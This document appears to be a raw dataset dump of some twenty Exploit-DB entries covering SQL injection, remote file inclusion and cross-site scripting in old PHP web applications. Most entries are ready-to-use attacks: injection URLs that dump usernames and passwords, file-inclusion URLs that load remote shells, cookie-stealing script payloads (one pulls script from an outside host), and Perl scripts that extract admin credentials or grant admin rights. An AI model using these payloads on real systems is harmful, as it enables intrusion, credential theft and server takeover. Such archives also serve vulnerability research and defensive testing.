deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24537
Description: PHPMyRecipes 1.2.2 - 'viewrecipe.php?r_id' SQL Injection
Type: webapps
Platform: php
Date: 2013-02-21
Author: cr4wl3r

Exploit:
#phpMyRecipes 1.2.2 SQL Injection Exploit
#By cr4wl3r http://bastardlabs.info
#Script: http://sourceforge.net/projects/php-myrecipes/files/
#Demo: http://bastardlabs.info/demo/phpMyRecipes.png
#Tested: Ubuntu Linux
#
# Bugs found in viewrecipe.php
#
#  $r_id = $_GET['r_id'];
#
#  if (! ($result = mysql_query("SELECT
# name,category,servings,ingredients,instructions,description,creator,editor,imagefile FROM recipes WHERE id=$r_id"))) {
#    dberror("viewrecipe.php", "Cannot select recipe");
#  }
#
# http://bastardlabs/[path]/recipes/viewrecipe.php?r_id=[SQLi]
# Example: http://bastardlabs/[path]/recipes/viewrecipe.php?r_id=NULL/**/UNION/**/ALL/**/SELECT/**/CONCAT(username,0x3a,password)GORONTALO,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/users
#
#
# $ perl recipes.pl localhost /demo/
# [+] Please Wait ...
#
# [+] Getting Username and Password    [ ok ]
# [+] w00tw00t
# [+] Username | Password --> admin:mps4BNRRjh3po

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if (@ARGV < 2) { 

print qq(
+---------------------------------------------+
|   phpMyRecipes 1.2.2 SQL Injection Exploit  |
|                                             |
|            coded & exploited by cr4wl3r     |
|                 http://bastardlabs.info/    |
+---------------------------------------------+
                    -=[X]=-
   +---------------------------------------
    Usage :                                
                                           
    perl $0 <host> <path>                  
    ex : perl $0 127.0.0.1 /phpMyRecipes/  
                                           
   +---------------------------------------
);
}

$target = "http://".$host.$path."/recipes/viewrecipe.php?r_id=NULL/**/UNION/**/ALL/**/SELECT/**/CONCAT(username,0x3a,password)GORONTALO,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/users";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", 
PeerPort=>"80") || die "[-] Can't connect to Server   [ failed ]\n";
print "[+] Please Wait ...\n";
print $sock "GET $target HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: BastardLabs\n";
print $sock "Host: $host\n";
print $sock "Connection: close\n\n";
sleep 2;
while ($answer = <$sock>) {
if ($answer =~ /<B>(.*?)<\/B>/) {
print "\n[+] Getting Username and Password    [ ok ]\n";
sleep 1;
print "[+] w00tw00t\n";
print "[+] Username | Password --> $1\n";
exit();
}
}
print "[-] Exploit Failed !\n";
Exploit-DB #3212
Description: PHPMyReports 3.0.11 - 'lib_head.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-27
Author: GoLd_M

Exploit:
=================================================================
URL.S = http://www.phpmytools.org/pmr3.0.11_20050105.tar.gz     !
=================================================================
Finded by GolD_M = Mahmood_ali && Google.Com                    !
=================================================================
Greetz For : Tryag-Team & 020 :)                                !
=================================================================
/include/lib/lib_head.php                                       !
=================================================================
<?php require "$cfgPathModule/my_javascript_inc.php"; ?>        !
=================================================================
Exploit                                                         !
=================================================================
[path]/include/lib/lib_head.php?cfgPathModule=Evil.txt?         !
=================================================================

# milw0rm.com [2007-01-27]
Exploit-DB #3238
Description: PHPMyRing 4.1.3b - 'fichier' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: ajann

Exploit:
*******************************************************************************
# Title   :  PhpMyRing <= 4.1.3b (path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.microniko.net/phpmyring/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include ($fichier.".php");
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]//lang/leslangues.php?fichier=[SHELL]

Example:

//lang/leslangues.php?fichier=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-31]
Exploit-DB #2679
Description: PHPMyRing 4.2.1 - 'cherche.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-29
Author: ajann

Exploit:
*******************************************************************************
# Title  :  PHP My Ring <= 4.2.1 (cherche.php) Remote SQL Injection Vulnerability
# Author :   ajann
*******************************************************************************

###http://[target]/[path]/cherche.php?limite=-1%20union%20select%200,pseudo,0,mdp,0,0%20from%20webring/*&mots=%20&where=description

# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-10-29]
Exploit-DB #22209
Description: PHPMyShop 1.0 - 'compte.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-02-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6746/info

phpMyShop, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. 

This vulnerability was reported to exist in the compte.php script file. A remote attacker can exploit this vulnerability to bypass the phpMyShop authentication/registration process.

http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&[CREDENTIAL_REDACTED]''='
Exploit-DB #15173
Description: phpMyShopping 1.0.1505 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-01
Author: Metropolis

Exploit:
####################################################################
.:. Author : Metropolis
.:. Home : www.metropolis.fr.cr 
.:. Script : PhpMyShopping 
.:. Version : v1.0.1505
.:. Download Script: http://www.phpmyshopping.org/night_build/PhpMyShopping_mono_boutique_v1.0.1505.tar.gz
.:. Bug Type : Multiple Vulnerabilities / Blind SQL Injections / XSS 

####################################################################
 
===[ Blind Sql Injection ]===
 
SQL Error =>
 
/detail_article.php?C=3&P=7'
 
 www.site.com/detail_article.php?C=3&P=7 [Blind]

[Demo] :

www.site.com/detail_article.php?C=3&P=1 and 1=1 <-- true

www.site.com/detail_article.php?C=3&P=1 and 1=2 <-- false

===[ XSS ]===

 www.site.com/detail_article.php?C=3&P=7 [XSS]

[Demo] :
 
 www.site.com/detail_article.php?C=3&P=7"><script>alert(document.cookie);</script>


 ####################################################################
Exploit-DB #11588
Description: phpMySite - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-02-27
Author: Crux

Exploit:
=================================================================
[~] phpMySite (XSS/SQLi) Multiple Remote Vulnerabilities
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.phpmysite.com/
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects index.php
// Can be exploited VIA the GET variable 'action'

[#] Exploit / POC
index.php?action=${SQLINJECTIONHERE}&key=[PII_REDACTED]email@address.tst


[ XSS ]
---------------------------------
// This vulnerability affects contact.php
// Can be exploited via the following POST variables:
// name, city, email, state, message

[#] Exploit / POC
name=Crux&city=1>">&state=NY&email=sample%40email%2Etst&message=[PII_REDACTED]email@address.tst&word=[PII_REDACTED]email@address.tst

=================================================================
Exploit-DB #1948
Description: phpMySms 2.0 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-24
Author: Persian-Defacer

Exploit:
PhpMySms <= V2.0 (ROOT_PATH) Remote File Include Vulnerability
URL : Http://www.phpmysms.com
 
Author=Persian-Defacer
www.Hacking-Boys.com
==============================================================
if (($_POST[mode] == "1") or ($_GET[mode] == "1")) {
include ("config.php");
} else {
include ("$ROOT_PATH/config.php");
}
==============================================================


Exploit : http://[site]/[sms location]/sms_config/gateway.php?ROOT_PATH=[evil_script]

# milw0rm.com [2006-06-24]
Exploit-DB #33551
Description: PHPMySpace Gold 8.0 - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-20
Author: Ctacok

Exploit:
source: https://www.securityfocus.com/bid/37881/info

PHPMySpace Gold is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPMySpace Gold 8.0 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/arcade/index.php?act=play_game&gid=-1+UNION+SELECT+1,2,3,user(),5%23
Exploit-DB #29882
Description: PHPMySpace Gold 8.10 - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23602/info

phpMySpace Gold is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

phpMySpace Gold 8.10 is vulnerable; other versions may also be affected.

<html> <head><title>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</title><body> <center><br><br><font size=4>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22">"Powered by Ripe Website Manager"</a></font><br> <br><br> <form action="http://www.example.com/path/modules/news/article.php" method="get"> <input name="mode" type="hidden" value="0"> <input name="order" type="hidden" value="0"> <input name="item_id" size=75 value="1" AND "1"="0"> <input type=submit value="Execute SQL Injection" class="button"> </form> </body></html>
Exploit-DB #8204
Description: phpmysport 1.4 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-03-12
Author: XaDoS

Exploit:
#####################################################################
#  + PhpMySport v. 1.4 Multiple Remote Vulnerabilities (XSS\SQL) +  #
#       ~ Discovered by XaDoS - xados [at] hotmail [dot] it ~       #
#                      ~ Th4nKs AlpHaNiX ~                          #
#####################################################################

-Product site: http://phpmysport.sourceforge.net
-Version vuln: 1.4(latest) and maybe <

[+] COD3:

The code vuln is at page /member_list.php (SQL)
and many others for (XSS) like
                        /index.php (v3/4/5/6)

[+] EXPLoIt:


>>[$QL]<<

The bug is on the search_member page of this script
Yuo can write some bad sql code for see tha MD5 encrypted password ant name and other of the users..Example:

http://www.example.com/index.php?r=membre&v1=member_list

write in a search_member form:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Now yuo can see the name, password and e-mail of users in the order:

name:password:email

Yuo can also see other informations like description, date of connection,country_id, sex, level_id, lastname, date of birth etc..

(this form is vuln to XSS.. try to inject javaScript ;-))



>>[XSS]<<

There are some pages vuln..
for example

http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[XSS]

[XSS] = "><script>alert(document.cookie)</script>
        or
        "><script src="http://www.badsite.com/page.js"></script>


########::D&m0::########

[SQL]:

http://olmobasket.altervista.org/phpmysport/index.php?r=membro&v1=member_list

Write in the search_member form the right query:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Yuo will see the name:password:email of victims

[XSS]:

http://phpmysport.sourceforge.net/demo/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%20src=http://www.securitycode.it/x.js%3E%3C/script%3E

#############
/.end

"They danced down the streets like dingledodies, and I shambled after as I've been doing all my life after people who interest me, because the only people for me are the mad ones, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones who never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candles exploding like spiders across the stars and in the middle you see the blue centerlight pop and everybody goes "OHooooo!"

<3 Beat Generation (or Byte generation ;-))

# milw0rm.com [2009-03-12]
Exploit-DB #2478
Description: phpMyTeam 2.0 - 'smileys_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-05
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpMyTeam v2.0 <= (smileys_dir) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.phpscripts-fr.net/scripts/download.php?id=1627

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code:

$smiley_pack_path = $smileys_dir.$smiley_pack_name.'/';
@include($smiley_pack_path.'smileys.php');

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /images/smileys/smileys_packs.php?smileys_dir=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-05]
Exploit-DB #29902
Description: PHPMyTGP 1.4 - 'AddVIP.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23657/info

PHPMyTGP is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHPMyTGP 1.4b; other versions may also be affected. 

http://www.example.com/addvip.php?msetstr["PROGSDIR"]=http://shell
Exploit-DB #4368
Description: PHPMytourney - 'menu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-06
Author: S.W.A.T.

Exploit:
*******************************************************************************
# Title   :  phpMytourney (functions_file) Remote File Inclusion Vulnerability
# Author  :  S.W.A.T.
# Contact :  S.W.4.T@HackerMail.com
# S.Page  :  http://script.vanta.ru/download.php?id=1178&clas=0
# $$      :  Free
# Site    :  Http://www.XmorS-Security.CoM - Http://www.xmors.com - Http://www.xmors.net
*******************************************************************************
Vuln Code:

include($functions_file);

[[Remote]]]

http://[target]/[path]/menu.php?functions_file=[SHELL]

"""""""""""""""""""""

# I Love XmorsTEAM
# We Are: Scorpiunix - KAMY4r - D3vil_boy_ir - Sh3llH3ll - The_Edit0r - S.W.A.T.
# Iranian Hackers & Security TEAM
# Xmors Digital Network Hacking & Security Team

# milw0rm.com [2007-09-06]
Exploit-DB #31320
Description: PHPMyTourney 2 - '/tourney/index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-29
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/28057/info

phpMyTourney is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects phpMyTourney 2; other versions may also be vulnerable.

http://www.example.com/phpmytourney/sources/tourney/index.php?page=[Evil-Script]
Exploit-DB #25531
Description: PHPMyVisites 1.3 - 'Set_Lang' File Inclusion
Type: webapps
Platform: php
Date: 2005-04-26
Author: Max Cerny

Exploit:
source: https://www.securityfocus.com/bid/13370/info

phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion.

Exploitation could disclose local files, or in the case of remote file inclusion, let the attacker execute malicious PHP code.

The issue is known to affect phpMyVisites 1.3. Other versions may also be affected. 

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form>
Exploit-DB #36937
Description: PHPMyVisites 2.4 - 'PHPmv2/index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-09
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/52377/info

phpMyVisites is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpMyVisites 2.4 is vulnerable; other versions may also be affected. 

<html>
<head>
<title>Warning! This is Proof Of Concept Exploit for phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $)</title>
</head>
<h1> Warning! This is a Proof Of Concept Exploit for phpMyVisites 2.4:<br/></h1>
<p>// $Id: version.php 238 2009-12-16 19:48:15Z matthieu_ $
PHPMV_VERSION 2.4
</p>
</h1>
<body onload="javascript:document.forms[0].submit()">

<form action="http://CHANGE_TO_RTARGET/phpmv2/index.php?mod=install_database_setup" method="post" name="form_phpmv" id="form_phpmv">
<input value="<script>alert(document.cookie);</script>" name="form_dblogin" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbpassword" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbhost" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbname" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbprefix" type="hidden"/></td>

<!--- Author: AkaStep -->
</form>
</body>
</html>
Exploit-DB #406
Description: phpMyWebhosting - SQL Injection
Type: webapps
Platform: php
Date: 2004-08-20
Author: Noam Rathaus

Exploit:
#!/usr/bin/perl
# Exploit code by Noam Rathaus of Beyond Security Ltd.
# The following exploit code will use a valid username and password 
combination, to cause an SQL injection.
# Using the SQL injection, the Perl script elevates the privileges of the 
user provided to administrative.

use IO::Socket;
use strict;

my $Host = shift;
my $Path = shift;
my $Username = shift;
my $Password = shift;

if ($Host eq "" || $Path eq "" || $Username eq "" || $Password eq "")
{
print "You must run the script with the following syntax:\n";
print $0." hostname path username password\n";
exit(0);
}

my $remote = IO::Socket::INET->new (  Proto => "tcp", PeerAddr => $Host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

$remote->autoflush(1);

my $http = "POST /$Path/index.php HTTP/1.1
Host: $Host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506 
Firefox/0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content = 
"PHP_AUTH_USER=$Username&[CREDENTIAL_REDACTED]=english',isadmin='Y&login=Login";

$http .= length($content)."

$content";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while ()
{
print $_;
}
print "\n";

close $remote;


# milw0rm.com [2004-08-20]
Exploit-DB #2462
Description: phpMyWebmin 1.0 - 'target' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-30
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpMyWebmin 1.0 <= (target) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.josh.ch/joshch/joshch/_content_data/phpmywebmin/phpMyWebmin10.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: include("$target/$folder/preferences.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /change_preferences2.php?target=http://SH3LL?
         /create_file.php?target=http://SH3LL?
         /upload_local.php?target=http://SH3LL?
         /upload_multi.php?target=http://SH3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, Kernel-32 ;)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-09-30]
Exploit-DB #2451
Description: phpMyWebmin 1.0 - 'window.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-28
Author: Kernel-32

Exploit:
#######################################
+PHP MyWebMin 1.0 Remote File Include
+Advisory #5
+Product :PHP MyWebMin
+Develop:
+www.josh.ch/joshch/php-tools/phpmywebmin,download.html
+Vulnerable: Remote File Includes
+Risk:High
+Class:Remote
+Discovered:by Kernel-32
+Contact: kernel-32@linuxmail.org
+Homepage: http://kernel-32.blogspot.com
+Greetz: BeLa ;)
########################################

Vulnerable File:window.php
$ordner = opendir("$target");
?>

and

include("$target/preferences.php");

if($action != "")
{
include("$action.php");
?>

Examples:
http://site/path/window.php?target=/etc
http://site/path/home.php?target=/home
http://site/path/window.php?action=Shell.php

# milw0rm.com [2006-09-28]